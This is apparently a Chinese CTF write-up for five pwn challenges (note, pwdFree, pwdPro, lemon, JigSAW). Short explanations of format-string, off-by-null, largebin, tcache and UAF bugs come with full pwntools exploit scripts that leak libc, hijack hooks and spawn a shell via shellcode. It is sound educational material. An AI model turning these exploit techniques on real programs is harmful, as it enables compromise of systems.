note 格式化字符串
本题考查了scanf的格式化字符串利用。一般我们用的都是printf的格式化字符串。这里是scanf
踩坑
一开始没有注意到sendline会多发一个换行符,导致往栈上$7的stdout写入的时候老是写不对,结果发现是多发了。
scanf的格式化字符利用方式和printf的比较类似,就是不能直接输出。这里注意到栈上有stdout,可以直接往里面写入绕过判断输出libc_info的fbad1800。
step1 获取libc
payload1 = p64(0xfbad1800)+p64(0)*3
say('%13$s\x00\x00\x00')
io.recvuntil('?')
io.sendline(payload1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base = libc_info-0x3c36e0
print "libc_base----->" + hex(libc_base)
step2: 劫持mallochook
这里有尝试过,直接劫持mallochook不太行,还需要用realloc抬栈。如下图所示,为利用scanf写入到reallochook的部分
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
print "realloc----->" + hex(realloc)
realloc_hook = libc_base+libc.sym['__realloc_hook']
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
# hijack realloc_hook to one_shot
payload3 = p64(libc_base+one_gadget[1])
say("%8$s\x00\x00\x00\x00"+p64(realloc_hook)+p64(realloc_hook))
io.recvuntil('?')
io.sendline(payload3)
step3:写入malloc_hook为one_gadget
这里比较坑的就是realloc不知道要抬高多少。大概要尝试20多次,并且也只是可能成功。比较理想的方法是写一个爆破脚本,想想应该也不难,和爆破IO_FILE的结构一样即可。
payload2 = p64(realloc+12)
say("%7$s\x00\x00\x00\x00"+p64(malloc_hook))
io.recvuntil('?')
io.send(payload2+'\x0a')
完整exp
from pwn import *
io=process('./note')
elf=ELF('./note')
libc=elf.libc
context.log_level='debug'
def add(size,content):
io.recvuntil('choice: ')
io.sendline(str(1))
io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('content:')
io.sendline(content)
def say(fmt):
io.recvuntil('choice')
io.sendline(str(2))
io.recvuntil('say ? ')
io.send(fmt)
def show():
io.recvuntil('choice')
io.sendline(str(3))
def debug():
gdb.attach(io,"brva 0x12ff")
add(0x0,'aaaa')
def debug_say():
gdb.attach(io,"brva 1235")
# leak base
# gdb.attach(io,"brva 0x1235")
payload1 = p64(0xfbad1800)+p64(0)*3
say('%13$s\x00\x00\x00')
io.recvuntil('?')
io.sendline(payload1)
libc_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "libc_info----->" + hex(libc_info)
libc_base = libc_info-0x3c36e0
print "libc_base----->" + hex(libc_base)
# write to realloc
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
print "realloc----->" + hex(realloc)
realloc_hook = libc_base+libc.sym['__realloc_hook']
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
# hijack realloc_hook to one_shot
payload3 = p64(libc_base+one_gadget[1])
say("%8$s\x00\x00\x00\x00"+p64(realloc_hook)+p64(realloc_hook))
io.recvuntil('?')
io.sendline(payload3)
# debug()
# hijack malloc_hook to realloc
payload2 = p64(realloc+12)
say("%7$s\x00\x00\x00\x00"+p64(malloc_hook))
io.recvuntil('?')
io.send(payload2+'\x0a')
# debug()
io.recvuntil('choice: ')
io.sendline(str(1))
io.recvuntil('size:')
io.sendline(str(0x20))
io.interactive()
pwdfree off-by-null
这道题漏洞点比较明显的就是off-by-null
一开始有一个简单的异或加密,只需要通过第一次泄露获得密钥就可以了
step1 获取密钥
异或上原来内容,就是密钥
# get key
add(0,8,'aaaaaaaa')
io.recvuntil('Save ID:')
encrypt = u64(io.recv(8))
key = encrypt^0x6161616161616161
print "key----->" + hex(key)
step2
后面其实就是基本的off-by-null利用,先从unsortedbin chunk里面获得libc信息,off-by-null得到overlap chunk即可.比较基础和简单
完整exp
from pwn import *
io=process('./pwdFree')
elf=ELF('./pwdFree')
libc=elf.libc
context.log_level='debug'
def add(index,size,con):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Save:')
io.sendline(str(index))
io.recvuntil('Length Of Your Pwd:')
length=len(con)
io.sendline(str(size))
io.recvuntil('Pwd:')
io.sendline(con)
def edit(index,content):
io.recvuntil('Choice:')
io.sendline(str(2))
io.sendline(str(index))
io.sendline(content)
def show(index):
io.recvuntil('Choice:')
io.sendline(str(3))
io.recvuntil('Which PwdBox You Want Check:')
io.sendline(str(index))
def delete(index):
io.recvuntil('Choice:')
io.sendline(str(4))
io.recvuntil('Delete:')
io.sendline(str(index))
def debug():
gdb.attach(io,"brva 0x1533")
add(50,0x0,'cc')
#1. get the key from the first output
#2. trigger off-by-null vuln
# get key
add(0,8,'aaaaaaaa')
io.recvuntil('Save ID:')
encrypt = u64(io.recv(8))
key = encrypt^0x6161616161616161
print "key----->" + hex(key)
for i in range(1,12):
add(i,0xf8,'aaaaaaaa') # seven chunk:1~7 and 2: 8,9,10,11
# 8--->9--->10, 10 is overlapped
add(8,0xf8,p64(key)*30)
for i in range(1,8):
delete(i)#7->6->5....->1 tcache full
delete(8)
add(1,0xf8,'unnecessary')
delete(9)#into tcache
add(9,0xf8,'s'*0xf0+p64(0x200^key))#overlap to chunk 10,fake prev_size,get from unsortedbin
delete(1)# fill tcache
delete(10)# succeed in fake chunk,size0x300, 9 is critical
# debug()
for i in range(1,8):
add(i,0xf8,'ssss')# clear tcache
# debug()
add(17,0xf8,'rrrr')
show(2)
libc_info = u64(io.recvuntil('ssss')[-12:-4])
print "libc_info----->" + hex(libc_info)
libc_info = libc_info^key
print "libc_info----->" + hex(libc_info)
# debug()
libc_base = libc_info - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base----->" + hex(libc_base)
print "free_hook----->" + hex(ree_hook)
one_shot = [0x4f3d5,0x4f432,0x10a41c]
add(22,0xf8,'aaaa')#idx10
delete(10)
edit(2,p64(free_hook))
# debug()
add(24,0xf8,'mmmm')
add(25,0xf8,p64((one_shot[1]+libc_base)^key))
# debug()
delete(0)
io.interactive()
pwdpro largebin attack 修改tcache_max
注意到这题libc是2.31版本的,并且题目限制的是堆块大小只能是largebin的,由于2.31检查较为严格,无法使用unsortedbin attack,于是这里考虑largebin attack(因为有明显的uaf)。
这道题也算是我第一次接触largebin attack
下面简单说一下我理解的largebin attack在任意地址写入一个比较大的数值的原理
简单来说,就是当largebin中插入一个chunk的时候,需要制作好这个插入的chunk的fd,fd_nextsize,bk,bk_nextsize字段。假设现在是a----->b这个状态,需要变成a---->c---->b这个状态,那插入c必定要改变的是a的fd,fd_nextsize,b的bk,bk_nextsize,c的fd,fd_nextsize以及c的bk,bk_nextsize。但是由于largebin是倒序遍历的,因此找到这里的chunk a的方法只有从b入手——即b的bk,bk_nextsize字段的地址指定的就是a的位置。那么只需要伪造这两个字段,就可以往这两个字段中写入数据。只不过这里有两个模块,size和物理地址的fd,bk。因此需要在计算偏移上小心一点(bk_nextsize的位置和bk的位置)。
劫持tcache_max的方法网上也没有解释的。其实看源代码不难发现,其实tcache_max_bins决定了tcache的最大bins数目,而这个数目又决定了最大tcache块大小。那么只要把这个数值改大,就可以把largebin放进去,实现任意地址读写了
static struct malloc_par mp_ =
{
.top_pad = DEFAULT_TOP_PAD,
.n_mmaps_max = DEFAULT_MMAP_MAX,
.mmap_threshold = DEFAULT_MMAP_THRESHOLD,
.trim_threshold = DEFAULT_TRIM_THRESHOLD,
#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
.arena_test = NARENAS_FROM_NCORES (1)
#if USE_TCACHE
,
.tcache_count = TCACHE_FILL_COUNT,
.tcache_bins = TCACHE_MAX_BINS, // 要修改的内容
.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),//根据tcache_bins得到最大tcache大小
.tcache_unsorted_limit = 0 /* No limit. */
#endif
};
下图为修改后的tcache控制块
接下来tcache attack即可。此题难点其实就在于largebin attack的布置和绕过。
from pwn import *
io=process('./pwdPro')
elf=ELF('./pwdPro')
libc=elf.libc
context.log_level='debug'
def add(index,size,con):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('Which PwdBox You Want Add:')
io.sendline(str(index))
io.recvuntil('Save:')
io.sendline(str(index))
io.recvuntil('Length Of Your Pwd:')
length=len(con)
io.sendline(str(size))
io.recvuntil('Pwd:')
io.sendline(con)
def edit(index,content):
io.recvuntil('Choice:')
io.sendline(str(2))
io.sendline(str(index))
io.sendline(content)
def show(index):
io.recvuntil('Choice:')
io.sendline(str(3))
io.recvuntil('Which PwdBox You Want Check:')
io.sendline(str(index))
def delete(index):
io.recvuntil('Choice:')
io.sendline(str(4))
io.recvuntil('Delete:')
io.sendline(str(index))
def recovery(index):
io.recvuntil('Choice:')
io.sendline(str(5))
io.recvuntil('Idx you want 2 Recover:')
io.sendline(str(index))
def debug():
gdb.attach(io,"brva 0x158a")
add(50,0x0,'cc')
# new idea: hijack largebin
add(0,0x500,'aaaaaaaa')
io.recvuntil('Save ID:')
encrypt = u64(io.recv(8))
key = encrypt^0x6161616161616161
print "key----->" + hex(key)
add(1,0x500,'aaaa')
add(2,0x520,'aaaa')
add(3,0x520,'aaaa')
add(7,0x500,"bbbb")
delete(2)
add(4,0x530,'cccc') # put 2 into largebin
recovery(2)
show(2)
io.recvuntil('Pwd is: ')
libc_info = u64(io.recv(8).ljust(8,'\x00'))
libc_info = key^libc_info
libc_base = libc_info-0x1ec010
print "libc_info----->" + hex(libc_info)
print "libc_base----->" + hex(libc_base)
# debug()
delete(0) #why?
# debug()
tcache_max_bins = 0x1eb2d0+libc_base
tcache_struct = libc_base+0x1f3530
payload = p64(0)*3
payload+=p64(tcache_max_bins-0x20) # the place of bk_nextsize
payload = payload.ljust(0x520,'\x00')
edit(2,payload) # 2 is already in largebins
add(5,0x530,'aaaa')# put the deleted 0 chunk into largebins
# write to bk_nextsize with target addr
# now tcachebin can contain large chunks
delete(1)
delete(7)
recovery(7)
edit(7,p64(libc_base+libc.sym['__free_hook'])+p64(0))
io.recvuntil('Choice:')
io.sendline(str(1))
io.sendlineafter("Which PwdBox You Want Add:\n",str(20))
io.sendlineafter("Input The ID You Want Save:",str(20))
io.sendlineafter("Length Of Your Pwd:",str(0x500))
io.sendlineafter("Your Pwd:","aaaa")
add(0x8,0x500,encode(p64(libc_base+libc.sym["system"]^key).ljust(0x500,'\x00')))
edit(3,"/bin/sh\x00")
gdb.attach(io,"brva 0x199e")
delete(3)
io.interactive()
lemon 劫持tcache控制块+数组越界+uaf
分析
这题应该算是比较难的一道综合题。libc版本是2.26,有点奇怪但是存在tcache double_free,但是文件中加入了对tcache size的检验
漏洞点首先是colour中的数组越界
通过越界写入stdout可以泄露libc
接下来是add_lemon中的uaf。这个uaf作用其实就是为了解决上面的tcache对块大小的检查,以及uaf修改lemon块的fd,构造tcache doublefree
后面比较关键的就是劫持tcache管理块,控制分配到上面的tcache地址(这里因为要检查tcache的size,因此选择libc_base+libc.sym['_IO_2_1_stdout_']-0x33
的位置写入0x68的块大小,像是fastbin)
之后直接修改stdout的base为一开始读入的栈地址即可,站地址泄露也可以使用劫持stdout实现。由于一开始将flag读到了栈上,由此可以直接打印出来。
exp
这题exp不是我写的,是对着别人的wp调试的
祥云杯wp
from pwn import *
from z3 import *
io=process('./lemon_pwn')
elf=ELF('./lemon_pwn')
context.log_level='debug'
libc=elf.libc
def get_lemon(index,lemon_name,len,data):
io.recvuntil('>>>')
io.sendline(str(1))
io.recvuntil('Input the index of your lemon:')
io.sendline(str(index))
io.recvuntil('Now, name your lemon:')
io.send(lemon_name)
io.recvuntil('length of message for you lemon:')
io.sendline(str(len))
io.recvuntil("Leave your message:")
io.send(data)
def delete(index):
io.recvuntil('>>>')
io.sendline(str(3))
io.recvuntil('Input the index of your lemon : \n')
io.sendline(str(index))
def colour(index,data):
io.recvuntil('>>>')
io.sendline(str(4))
io.recvuntil('Input the index of your lemon :')
io.sendline(str(index))
io.recvuntil('Now it\'s your time to draw and color!')
io.send(data)
def debug():
gdb.attach(io,"brva 0xFC3")
get_lemon(0,'cccc',0x68,'llll')
def UAF(idx,payload):
io.recvuntil('>>>')
io.sendline(str(1))
io.sendlineafter('Input the index of your lemon: \n',str(idx))
io.sendafter("Now, name your lemon: \n",str(payload))
io.sendlineafter("Input the length of message for you lemon: \n",str(0x10000))
def show(index):
io.recvuntil('>>>')
io.sendline(str(2))
io.recvuntil('Input the index of your lemon : ')
io.sendline(str(index))
def resolve():
x=BitVec('x', 33)
x=(x>>16)^x|((3*x-(x>>16))&0xffffffff)&(x/(x>>16))
s=Solver()
s.add(x^0x6b8b4567==0x13b6db38)
print s.check()
result=s.model()
print result
# resolve()
# pause()
io.recvuntil('Do you wanner play a guess-lemon-color game with me?\n')
io.sendline('yes')
io.sendafter('number:',p64(0x00000001783d9e5e))
io.sendafter('tell me you name first: ','aaaa')
# hijack stdout-struct
get_lemon(0,p64(0)+p64(0x31),0x10,p64(0)+p64(0x31))# the written data ensures the check of tcache(size>0x20 and size< max_system)
colour(str(-0x10c),p64(0xfbad1887)+p64(0)*3+p8(88)) # write into stdout
# debug()
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3db7a3
print "libc_base----->" + hex(libc_base)
UAF(0,p64(0)+p64(0x31))
# debug()
delete(0) #double free_vuln
get_lemon(1,p8(0xc0),0x100,"aaa")# alloc to the size after
get_lemon(1,p64(0)+p64(0x30),0x100,"aaa")#maintain tcache
# debug()
show(1)
io.recvuntil('eat eat eat ')
heap_addr = int(io.recvuntil('.')[:-1],10)
print "heap_addr----->" + hex(heap_addr)
get_lemon(2,p64(libc_base+libc.sym['__free_hook'])+p16(heap_addr-0x2b0+0x10),0x100,"aaa") # change lemon 1's ptr to tcache control block, will be freed into tcache,and satisfy the needs
delete(1) #put control chunk into tcache
# debug()
payload = p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000) #hijack tcache control block,twice
payload+=p64(0)*5+p64(libc_base+libc.sym['_IO_2_1_stdout_']-0x33)*10 # fake free tcache chunk(arbitary address alloc)
get_lemon(3,"aaaa",0x240,payload)
# why add 0x71 here
payload = 'a'*(0x33-0x10)+p64(0x71)*2+p64(0x00000000fbad1887)+p64(0)*3+p64(libc_base+libc.sym["environ"])+p64(libc_base+libc.sym["environ"]+0x10)[0:5]
# debug()
get_lemon(0,"aaaa",0x60,payload) #write to stdout and leak environ
# debug()
stack_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "stack_info----->" + hex(stack_info)
# debug()
# malloc again to reach flag_info inside the stack
# why delete 3: get the chunk of 0x240 to reuse the 0x7f chunk
delete(3)
payload = p64(0x0000020000000000)+p64(0)*3+p64(0x0000000001000000)
payload+=p64(0)*5+p64(libc_base+libc.sym['_IO_2_1_stdout_']-0x33)*10 # fake free tcache chunk(arbitary address alloc)
get_lemon(3,"aaaa",0x240,payload)
# debug()
# why add 0x71 here: meet demands of size-check
payload = 'a'*(0x33-0x10)+p64(0x71)*2+p64(0x00000000fbad1887)+p64(0)*3+p64(stack_info-0x188)+p64(stack_info)[0:5]
# debug()
get_lemon(0,"aaaa",0x60,payload) #write to stdout and leak environ
# debug()
# stack_info = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
# print "stack_info----->" + hex(stack_info)
io.interactive()
JigSAW
分析
这题实际上是需要自己写一个0x14字节的关键shellcode比较难,也是参考了别人的wp做出来的,巧妙在于利用了部分寄存器的值,降低shellcode的长度
漏洞点在于以%ld向int长度的内容读入数据,以此覆盖随机数,在堆的位置开辟一段rwx空间可以执行shellcode
## exp
from pwn import *
io = process('./JigSAW')
elf=ELF('./JigSAW')
context.log_level='debug'
context.arch="amd64"
libc=elf.libc
def debug():
gdb.attach(io, "brva 0x17d4")
add(4)
def add(index):
io.recvuntil('Choice :')
io.sendline(str(1))
io.recvuntil('Index? : ')
io.sendline(str(index))
def edit(index,content):
io.recvuntil('Choice :')
io.sendline(str(2))
io.recvuntil('Index? : ')
io.sendline(str(index))
io.recvuntil('iNput:')
io.send(content)
def test(index):
io.recvuntil('Choice :')
io.sendline(str(4))
io.recvuntil('Index? : ')
io.sendline(str(index))
io.recvuntil('Name:')
io.sendline('aaa')
io.recvuntil('Make your Choice:')
# unpack works as turning bytecode into readable word in order to input
io.sendline(str(unpack(p32(15) + p32(0), 64, endian='big', sign=True)))
# shellcode to call read
add(0)
shellcode = """
xor rdi,rdi
mov rsi,rdx
mov rdx,0x1000
syscall
"""
shellcode = asm(shellcode)
edit(0,shellcode)
gdb.attach(io,"brva 0x1c41")
test(0)
payload2 = '\x90'*0x20+asm(shellcraft.sh())
payload2 = payload2.ljust(1000,'\x00')
# the return after syscall executes the shellcode
io.sendline(payload2)
io.interactive()